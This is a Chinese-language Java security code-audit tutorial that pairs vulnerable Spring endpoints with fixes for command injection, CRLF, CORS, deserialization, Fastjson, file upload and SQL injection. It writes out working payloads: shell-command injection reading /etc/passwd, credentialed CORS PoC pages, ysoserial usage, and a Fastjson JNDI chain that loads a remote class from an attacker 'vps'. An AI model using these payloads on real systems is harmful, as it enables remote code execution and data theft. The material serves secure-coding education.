前言
本文开始通过学习Java代码审计漏洞的代码形式,详细讲解:Command Inject 、 Broken Access Control 、Cors 、CRLFInjection、Deserialize 和越权漏洞等这些实际Java应用挖洞的一些经典代码漏洞以及对应的修复学习,后续也会不断学习更新Java代码漏洞审计续篇...
CRLFInjection
CRLF是”回车+换行”(\r\n)(编码后是%0D%0A)的简称,在HTTP中,HTTP Header和HTTP Body是用两个CRLF来分割的。浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS。
访问
http://localhost:8080/crlf/safecode?test1=111%0d%0ax&test2=111%0d%0a111
漏洞代码
@Controller
@RequestMapping("/crlf")
public class CRLFInjection {
@RequestMapping("/safecode")
@ResponseBody
public void crlf(HttpServletRequest request, HttpServletResponse response) {
response.addHeader("test1", request.getParameter("test1"));
response.setHeader("test2", request.getParameter("test2"));
String author = request.getParameter("test3");
Cookie cookie = new Cookie("test3", author);
response.addCookie(cookie);
}
}
但这个问题实际上已经在所有的现在的java EE应用服务器上修复了。
CTF的例子:
HCTF2018里面出了一道bottle的题目,就是利用了CRLF注入,利用的是bottle这个python模块存在CRLF漏洞,具体可以参考P神的这篇文章:Bottle HTTP 头注入漏洞探究 题目允许我们跳转到站内的网站,需要注意的是,这个跳转只允许我们跳转到80以下的端口
参数注入
漏洞代码如下
@GetMapping("/codeinject")
public String codeInject(String filepath) throws IOException {
String[] cmdList = new String[]{"sh", "-c", "ls -la " + filepath};
ProcessBuilder builder = new ProcessBuilder(cmdList);
builder.redirectErrorStream(true);
Process process = builder.start();
return WebUtils.convertStreamToString(process.getInputStream());
}
注入截断即可
codeinject?filepath=/tmp;cat /etc/passwd
host注入
漏洞代码
@GetMapping("/codeinject/host")
public String codeInjectHost(HttpServletRequest request) throws IOException {
String host = request.getHeader("host");
logger.info(host);
String[] cmdList = new String[]{"sh", "-c", "curl " + host};
ProcessBuilder builder = new ProcessBuilder(cmdList);
builder.redirectErrorStream(true);
Process process = builder.start();
return WebUtils.convertStreamToString(process.getInputStream());
}
攻击漏洞如下
127.0.0.1;id
tomcat7.9以上的版本,都不支持请求链接上带有特殊字符.否则会报400错误,
这是因为Tomcat严格按照 RFC 3986规范进行访问解析,而 RFC3986规范定义了Url中只允许包含英文字母(a-zA-Z)、数字(0-9)、-_.~
4个特殊字符以及所有保留字符(RFC3986中指定了以下字符为保留字符:! * ’ ( ) ; : @ & = + $ , / ? # [ ])。
修复代码如下
@GetMapping("/codeinject/sec")
public String codeInjectSec(String filepath) throws IOException {
String filterFilePath = SecurityUtil.cmdFilter(filepath);
if (null == filterFilePath) {
return "Bad boy. I got u.";
}
String[] cmdList = new String[]{"sh", "-c", "ls -la " + filterFilePath};
ProcessBuilder builder = new ProcessBuilder(cmdList);
builder.redirectErrorStream(true);
Process process = builder.start();
return WebUtils.convertStreamToString(process.getInputStream());
}
自定义检查类如下
public class SecurityUtil {
private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$");
}
越权漏洞
一些应用的cookie是明文,可以直接构造越权登录,举例一些漏洞代码如下:
@RestController
@RequestMapping("/cookie")
public class Cookies {
private static String NICK = "nick";
@GetMapping(value = "/vuln01")
public String vuln01(HttpServletRequest req) {
String nick = WebUtils.getCookieValueByName(req, NICK); // key code
return "Cookie nick: " + nick;
}
@GetMapping(value = "/vuln02")
public String vuln02(HttpServletRequest req) {
String nick = null;
Cookie[] cookie = req.getCookies();
if (cookie != null) {
nick = getCookie(req, NICK).getValue(); // key code
}
return "Cookie nick: " + nick;
}
@GetMapping(value = "/vuln03")
public String vuln03(HttpServletRequest req) {
String nick = null;
Cookie cookies[] = req.getCookies();
if (cookies != null) {
for (Cookie cookie : cookies) {
// key code. Equals can also be equalsIgnoreCase.
if (NICK.equals(cookie.getName())) {
nick = cookie.getValue();
}
}
}
return "Cookie nick: " + nick;
}
@GetMapping(value = "/vuln04")
public String vuln04(HttpServletRequest req) {
String nick = null;
Cookie cookies[] = req.getCookies();
if (cookies != null) {
for (Cookie cookie : cookies) {
if (cookie.getName().equalsIgnoreCase(NICK)) { // key code
nick = cookie.getValue();
}
}
}
return "Cookie nick: " + nick;
}
@GetMapping(value = "/vuln05")
public String vuln05(@CookieValue("nick") String nick) {
return "Cookie nick: " + nick;
}
@GetMapping(value = "/vuln06")
public String vuln06(@CookieValue(value = "nick") String nick) {
return "Cookie nick: " + nick;
}
}
Cors
原理与工作流程
CORS(Cross-Origin Resource Sharing)跨源资源共享,是HTML5的一个新特性,其思想是使用自定义的HTTP头部让浏览器与服务器进行沟通,它允许浏览器向跨域服务器发出XMLHttpRequest请求,从而克服AJAX只能同源使用的限制。
CORS的基本原理是,第三方网站服务器生成访问控制策略,指导用户浏览器放宽 SOP 的限制,实现与指定的目标网站共享数据。
相比之下,CORS较JSONP更为复杂,JSONP只能用于获取资源(即只读,类似于GET请求),而CORS支持所有类型的HTTP请求,功能完善。
CORS具体工作流程可分为三步,
- 资源服务器根据请求中Origin头返回访问控制策略(Access-Control-Allow-Origin响应头),并在其中声明允许读取响应内容的源;
- 浏览器检查资源服务器在Access-Control-Allow-Origin头中声明的源,是否与请求方的源相符,如果相符合,则允许请求方脚本读取响应内容,否则不允许;
CORS与CSRF的区别
一般有CORS漏洞的地方都有CSRF。
CSRF一般使用form表单提交请求,而浏览器是不会对form表单进行同源拦截的,因为这是无响应的请求,浏览器认为无响应请求是安全的。
浏览器的同源策略的本质是:一个域名的JS,在未经允许的情况下是不得读取另一个域名的内容,但浏览器并不阻止向另一个域名发送请求。
相同点:都需要第三方网站;都需要借助Ajax的异步加载过程;一般都需要用户登录目标站点。
不同点:一般CORS漏洞用于读取受害者的敏感信息,获取请求响应的内容;而CSRF则是诱使受害者点击提交表单来进行某些敏感操作,不用获取请求响应内容。
由于代码限制不严格,会导致跨域请求伪造可以结合xss,csrf进行攻击
前端发起AJAX请求都会受到同源策略(CORS)的限制。发起AJAX请求的方法:
- XMLHttpRequest
- JQuery的
$.ajax
- Fetch
前端在发起AJAX请求时,同域或者直接访问的情况下,因为没有跨域的需求,所以Request的Header中的Origin为空。此时,如果后端代码是response.setHeader("Access-Control-Allow-Origin", origin)
,那么Response的header中不会出现Access-Control-Allow-Origin
,因为Origin为空。
漏洞代码:
private static String info = "{\"name\": \"tom\", \"phone\": \"18200001111\"}";
@GetMapping("/vuln/origin")
public String vuls1(HttpServletRequest request, HttpServletResponse response) {
String origin = request.getHeader("origin");
response.setHeader("Access-Control-Allow-Origin", origin); // set origin from header
response.setHeader("Access-Control-Allow-Credentials", "true"); // allow cookie
return info;
}
@GetMapping("/vuln/setHeader")
public String vuls2(HttpServletResponse response) {
// 后端设置Access-Control-Allow-Origin为*的情况下,跨域的时候前端如果设置withCredentials为true会异常
response.setHeader("Access-Control-Allow-Origin", "*");
return info;
}
需要cookie来利用无cooike的poc如下
GET:
<!DOCTYPE html>
<html>
<head>
<title>CORS TEST</title>
</head>
<body>
<div id='output'></div>
<script type="text/javascript">
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','http://vuln.com/xxxx',true);
//req.setRequestHeader("Content-Type","application/x-www-form-urlencoded;");
req.withCredentials = true;
req.send();
function reqListener() {
var output = document.getElementById('output');
output.innerHTML = "URL: http://vuln.com/xxxx
Response:
<textarea style='width: 659px; height: 193px;'>" + req.responseText + "</textarea>";
};
</script>
</body>
</html>
POST:
<!DOCTYPE html>
<html>
<head>
<title>CORS TEST</title>
</head>
<body>
<div id='output'></div>
<script type="text/javascript">
var req = new XMLHttpRequest();
var data = "userId%3Dadmin";
req.onload = reqListener;
req.open('post','http://vuln.com/xxxx',true);
req.setRequestHeader("Content-Type","xxx");
req.withCredentials = true;
req.send(data);
function reqListener() {
var output = document.getElementById('output');
output.innerHTML = "URL: http://vuln.com/xxxx
Data: userId%3Dadmin
Response:
<textarea style='width: 659px; height: 193px;'>" + req.responseText + "</textarea>";
};
</script>
</body>
</html>
修复代码
/**
* 重写Cors的checkOrigin校验方法
* 支持自定义checkOrigin,让其额外支持一级域名
* 代码:org/joychou/security/CustomCorsProcessor
*/
@CrossOrigin(origins = {"joychou.org", "http://test.joychou.me"})
@GetMapping("/sec/crossOrigin")
public String secCrossOrigin() {
return info;
}
/**
* WebMvcConfigurer设置Cors
* 支持自定义checkOrigin
* 代码:org/joychou/config/CorsConfig.java
*/
@GetMapping("/sec/webMvcConfigurer")
public CsrfToken getCsrfToken_01(CsrfToken token) {
return token;
}
/**
* spring security设置cors
* 不支持自定义checkOrigin,因为spring security优先于setCorsProcessor执行
* 代码:org/joychou/security/WebSecurityConfig.java
*/
@GetMapping("/sec/httpCors")
public CsrfToken getCsrfToken_02(CsrfToken token) {
return token;
}
/**
* 自定义filter设置cors
* 支持自定义checkOrigin
* 代码:org/joychou/filter/OriginFilter.java
*/
@GetMapping("/sec/originFilter")
public CsrfToken getCsrfToken_03(CsrfToken token) {
return token;
}
/**
* CorsFilter设置cors。
* 不支持自定义checkOrigin,因为corsFilter优先于setCorsProcessor执行
* 代码:org/joychou/filter/BaseCorsFilter.java
*/
@RequestMapping("/sec/corsFilter")
public CsrfToken getCsrfToken_04(CsrfToken token) {
return token;
}
@GetMapping("/sec/checkOrigin")
public String seccode(HttpServletRequest request, HttpServletResponse response) {
String origin = request.getHeader("Origin");
// 如果origin不为空并且origin不在白名单内,认定为不安全。
// 如果origin为空,表示是同域过来的请求或者浏览器直接发起的请求。
if (origin != null && SecurityUtil.checkURL(origin) == null) {
return "Origin is not safe.";
}
response.setHeader("Access-Control-Allow-Origin", origin);
response.setHeader("Access-Control-Allow-Credentials", "true");
return LoginUtils.getUserInfo2JsonStr(request);
}
Deserialize 序列化与反序列化
Java的ObjectInputStream对象的readObject方法将反序列化数据转换为java对象。但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,在此过程中执行构造的任意代码。
漏洞代码
@RequestMapping("/rememberMe/vuln")
public String rememberMeVul(HttpServletRequest request)
throws IOException, ClassNotFoundException {
Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);
if (null == cookie) {
return "No rememberMe cookie. Right?";
}
String rememberMe = cookie.getValue();
byte[] decoded = Base64.getDecoder().decode(rememberMe);
ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);
ObjectInputStream in = new ObjectInputStream(bytes);
in.readObject();
in.close();
return "Are u ok?";
}
使用ysoserial.jar生成payload
java -jar .\ysoserial-all.jar CommonsCollections5 "calc" |base64
修复代码:
@RequestMapping("/rememberMe/security")
public String rememberMeBlackClassCheck(HttpServletRequest request)
throws IOException, ClassNotFoundException {
Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);
if (null == cookie) {
return "No rememberMe cookie. Right?";
}
String rememberMe = cookie.getValue();
byte[] decoded = Base64.getDecoder().decode(rememberMe);
ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);
try {
AntObjectInputStream in = new AntObjectInputStream(bytes); // throw InvalidClassException
in.readObject();
in.close();
} catch (InvalidClassException e) {
logger.info(e.toString());
return e.toString();
}
return "I'm very OK.";
}
修复方式是通过Hook resolveClass来校验反序列化的类
序列化数据结构可以了解到包含了类的名称及serialVersionUID的ObjectStreamClass描述符在序列化对象流的前面位置,且在readObject反序列化时首先会调用resolveClass读取反序列化的类名,所以这里通过重写ObjectInputStream对象的resolveClass方法即可实现对反序列化类的校验
跟进查看重写类代码
/**
* 只允许反序列化SerialObject class
*
* 在应用上使用黑白名单校验方案比较局限,因为只有使用自己定义的AntObjectInputStream类,进行反序列化才能进行校验。
* 类似fastjson通用类的反序列化就不能校验。
* 但是RASP是通过HOOK java/io/ObjectInputStream类的resolveClass方法,全局的检测白名单。
*
*/
@Override
protected Class<?> resolveClass(final ObjectStreamClass desc)
throws IOException, ClassNotFoundException
{
String className = desc.getName();
// Deserialize class name: org.joychou.security.AntObjectInputStream$MyObject
logger.info("Deserialize class name: " + className);
String[] denyClasses = {"java.net.InetAddress",
"org.apache.commons.collections.Transformer",
"org.apache.commons.collections.functors"};
for (String denyClass : denyClasses) {
if (className.startsWith(denyClass)) {
throw new InvalidClassException("Unauthorized deserialization attempt", className);
}
}
return super.resolveClass(desc);
}
Fastjson
FastJson是一个开源的JSON解析库,能够解析JSON格式的字符串,并支持将Java Bean序列化为JSON字符串,或将JSON字符串反序列化为Java Bean。
要利用漏洞,攻击者需要找到一条有效的攻击链,最终实现代码执行的能力,通常用于远程命令执行(RCE)。构造触发器是关键,这可以通过多种方式实现,比如静态代码块或构造方法等。
Fastjson反序列化漏洞的根本原因主要有两个:
- 它允许用户通过“@type”键指定任意的反序列化类名
- 其自定义的反序列化机制使用反射生成指定类的实例,并自动调用其setter和部分getter方法。攻击者可以构造恶意请求,使应用的代码执行流进入特定的setter或getter方法,如果这些方法中存在可被利用的逻辑(即“Gadget”),将导致严重的安全问题。
虽然官方采用了黑名单来校验反序列化类名,但随着时间推移和自动化漏洞挖掘技术的提升,新Gadget层出不穷,黑名单的防护措施仅治标不治本,导致使用该组件的用户频繁面临升级困扰。
对于编程人员而言,使用Fastjson进行反序列化时,常用的方法包括:
- parse (String text)
- parseObject(String text)
- parseObject(String text, Class clazz)
无论选择哪种处理JSON字符串的方法,目标类中符合条件的getter或setter方法都有可能被调用。如果某个类的getter或setter方法满足调用条件且存在可利用点,就会形成攻击链。
漏洞代码:
@RequestMapping(value = "/deserialize", method = {RequestMethod.POST})
@ResponseBody
public String Deserialize(@RequestBody String params) {
// 如果Content-Type不设置application/json格式,post数据会被url编码
try {
// 将post提交的string转换为json
JSONObject ob = JSON.parseObject(params);
return ob.get("name").toString();
} catch (Exception e) {
return e.toString();
}
}
public static void main(String[] args) {
// Open calc in mac
String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\": [\"base64反序列化数据\"], \"_name\": \"lightless\", \"_tfactory\": { }, \"_outputProperties\":{ }}";
JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}
传入payload 看dnslog
{"name":{"@type":"java.net.Inet4Address","val":"w2b6lu.dnslog.cn"}}
恶意类poc构造如下
package exp;// TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class poc {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
编译代码,上传至服务器,我在本地使用Python http.server 进行搭建
javac TouchFile.java //进行编译
python3 -m http.server 8888 //简单搭建web服务
使用marshalsec项目,启动一个RMI服务器,监听8888端口,并制定加载远程类poc.class
。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vps:8888/#poc" 1099
之后进行反序列化
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://vps:1099/poc",
"autoCommit":true
}
}
FileUpload
对于文件上传来说,目前这类漏洞在spring里非常少,原因有两点:
- 大多数公司上传的文件都会到cdn
- spring的jsp文件必须在web-inf目录下才能执行,里面的资源不能被直接访问,只有通过控制器才能访问到
除非,可以上传war包到tomcat的webapps目录。
漏洞代码如下
@Controller
@RequestMapping("/file")
public class FileUpload {
// Save the uploaded file to this folder
private static final String UPLOADED_FOLDER = "/tmp/";
private final Logger logger = LoggerFactory.getLogger(this.getClass());
private static String randomFilePath = "";
// uplaod any file
@GetMapping("/any")
public String index() {
return "upload"; // return upload.html page
}
// only allow to upload pictures
@GetMapping("/pic")
public String uploadPic() {
return "uploadPic"; // return uploadPic.html page
}
@PostMapping("/upload")
public String singleFileUpload(@RequestParam("file") MultipartFile file,
RedirectAttributes redirectAttributes) {
if (file.isEmpty()) {
// 赋值给uploadStatus.html里的动态参数message
redirectAttributes.addFlashAttribute("message", "Please select a file to upload");
return "redirect:/file/status";
}
try {
// Get the file and save it somewhere
byte[] bytes = file.getBytes();
Path path = Paths.get(UPLOADED_FOLDER + file.getOriginalFilename());
Files.write(path, bytes);
redirectAttributes.addFlashAttribute("message",
"You successfully uploaded '" + UPLOADED_FOLDER + file.getOriginalFilename() + "'");
} catch (IOException e) {
redirectAttributes.addFlashAttribute("message", "upload failed");
logger.error(e.toString());
}
return "redirect:/file/status";
}
@GetMapping("/status")
public String uploadStatus() {
return "uploadStatus";
}
// only upload picture
@PostMapping("/upload/picture")
@ResponseBody
public String uploadPicture(@RequestParam("file") MultipartFile multifile) throws Exception {
if (multifile.isEmpty()) {
return "Please select a file to upload";
}
String fileName = multifile.getOriginalFilename();
String Suffix = fileName.substring(fileName.lastIndexOf(".")); // 获取文件后缀名
String mimeType = multifile.getContentType(); // 获取MIME类型
String filePath = UPLOADED_FOLDER + fileName;
File excelFile = convert(multifile);
// 判断文件后缀名是否在白名单内 校验1
String[] picSuffixList = {".jpg", ".png", ".jpeg", ".gif", ".bmp", ".ico"};
boolean suffixFlag = false;
for (String white_suffix : picSuffixList) {
if (Suffix.toLowerCase().equals(white_suffix)) {
suffixFlag = true;
break;
}
}
if (!suffixFlag) {
logger.error("[-] Suffix error: " + Suffix);
deleteFile(filePath);
return "Upload failed. Illeagl picture.";
}
// 判断MIME类型是否在黑名单内 校验2
String[] mimeTypeBlackList = {
"text/html",
"text/javascript",
"application/javascript",
"application/ecmascript",
"text/xml",
"application/xml"
};
for (String blackMimeType : mimeTypeBlackList) {
// 用contains是为了防止text/html;charset=UTF-8绕过
if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType)) {
logger.error("[-] Mime type error: " + mimeType);
deleteFile(filePath);
return "Upload failed. Illeagl picture.";
}
}
// 判断文件内容是否是图片 校验3
boolean isImageFlag = isImage(excelFile);
deleteFile(randomFilePath);
if (!isImageFlag) {
logger.error("[-] File is not Image");
deleteFile(filePath);
return "Upload failed. Illeagl picture.";
}
try {
// Get the file and save it somewhere
byte[] bytes = multifile.getBytes();
Path path = Paths.get(UPLOADED_FOLDER + multifile.getOriginalFilename());
Files.write(path, bytes);
} catch (IOException e) {
logger.error(e.toString());
deleteFile(filePath);
return "Upload failed";
}
logger.info("[+] Safe file. Suffix: {}, MIME: {}", Suffix, mimeType);
logger.info("[+] Successfully uploaded {}", filePath);
return String.format("You successfully uploaded '%s'", filePath);
}
private void deleteFile(String filePath) {
File delFile = new File(filePath);
if(delFile.isFile() && delFile.exists()) {
if (delFile.delete()) {
logger.info("[+] " + filePath + " delete successfully!");
return;
}
}
logger.info(filePath + " delete failed!");
}
}
对文件名做了白名单限制,并防止text/html;charset=UTF-8绕过,使用IsImage()函数调用ImageIO.read()函数来检测内容是否为文件,上传文件时会通过uuid生成一个’/tmp’ + uuid + ‘png’ 这样的文件名,然后最后删除掉。
存在未对文件名做校验,存在路径穿越漏洞,我们可以上传图片到任意目录payload:
../../Users/oldthree/Documents/0.OL4THREE/0.Base/apache-tomcat-8.5.70/webapps/java_sec_code_war/1.png`
SQLI注入
先看漏洞代码:
@SuppressWarnings("Duplicates")
@RestController
@RequestMapping("/sqli")
public class SQLI {
private static final Logger logger = LoggerFactory.getLogger(SQLI.class);
// com.mysql.jdbc.Driver is deprecated. Change to com.mysql.cj.jdbc.Driver.
private static final String driver = "com.mysql.cj.jdbc.Driver";
@Value("${spring.datasource.url}")
private String url;
@Value("${spring.datasource.username}")
private String user;
@Value("${spring.datasource.password}")
private String password;
@Resource
private UserMapper userMapper;
/**
* <p>Sql injection jbdc vuln code.</p><br>
*
* <a href="http://localhost:8080/sqli/jdbc/vuln?username=joychou">http://localhost:8080/sqli/jdbc/vuln?username=joychou</a>
*/
@RequestMapping("/jdbc/vuln")
public String jdbc_sqli_vul(@RequestParam("username") String username) {
StringBuilder result = new StringBuilder();
try {
Class.forName(driver);
Connection con = DriverManager.getConnection(url, user, password);
if (!con.isClosed())
System.out.println("Connect to database successfully.");
// sqli vuln code
Statement statement = con.createStatement();
String sql = "select * from users where username = '" + username + "'";
logger.info(sql);
ResultSet rs = statement.executeQuery(sql);
while (rs.next()) {
String res_name = rs.getString("username");
String res_pwd = rs.getString("password");
String info = String.format("%s: %s\n", res_name, res_pwd);
result.append(info);
logger.info(info);
}
rs.close();
con.close();
} catch (ClassNotFoundException e) {
logger.error("Sorry, can't find the Driver!");
} catch (SQLException e) {
logger.error(e.toString());
}
return result.toString();
}
}
拼接存在sql注入漏洞,payload如下可以获取所有账户数据
aaa' or '1'='1
修复代码
prepareStatement()通过预处理方式进行修复
预处理的修复原理:针对字符串类型的SQL注入,是在字符串两边加上一对单号哈
''
,对于中间点的单引号对其进行转义\'
,让其变成字符的单引号。Mybatis的#{}
也是预处理方式处理SQL注入。在使用了mybatis框架后,需要进行排序功能时,在mapper.xml文件中编写SQL语句时,注意orderBy后的变量要使用
${}
,而不用#{}
。因为#{}
变量是经过预编译的,${}
没有经过预编译。虽然${}
存在SQL注入的风险,但orderBy必须使用${}
,因为#{}
会多出单引号''
导致SQL语句失效。为防止SQL注入只能自己对其过滤。
@RequestMapping("/jdbc/sec")
public String jdbc_sqli_sec(@RequestParam("username") String username) {
StringBuilder result = new StringBuilder();
try {
Class.forName(driver);
Connection con = DriverManager.getConnection(url, user, password);
if (!con.isClosed())
System.out.println("Connecting to Database successfully.");
// fix code
String sql = "select * from users where username = ?";
PreparedStatement st = con.prepareStatement(sql);
st.setString(1, username);
logger.info(st.toString()); // sql after prepare statement
ResultSet rs = st.executeQuery();
while (rs.next()) {
String res_name = rs.getString("username");
String res_pwd = rs.getString("password");
String info = String.format("%s: %s\n", res_name, res_pwd);
result.append(info);
logger.info(info);
}
rs.close();
con.close();
} catch (ClassNotFoundException e) {
logger.error("Sorry, can`t find the Driver!");
e.printStackTrace();
} catch (SQLException e) {
logger.error(e.toString());
}
return result.toString();
}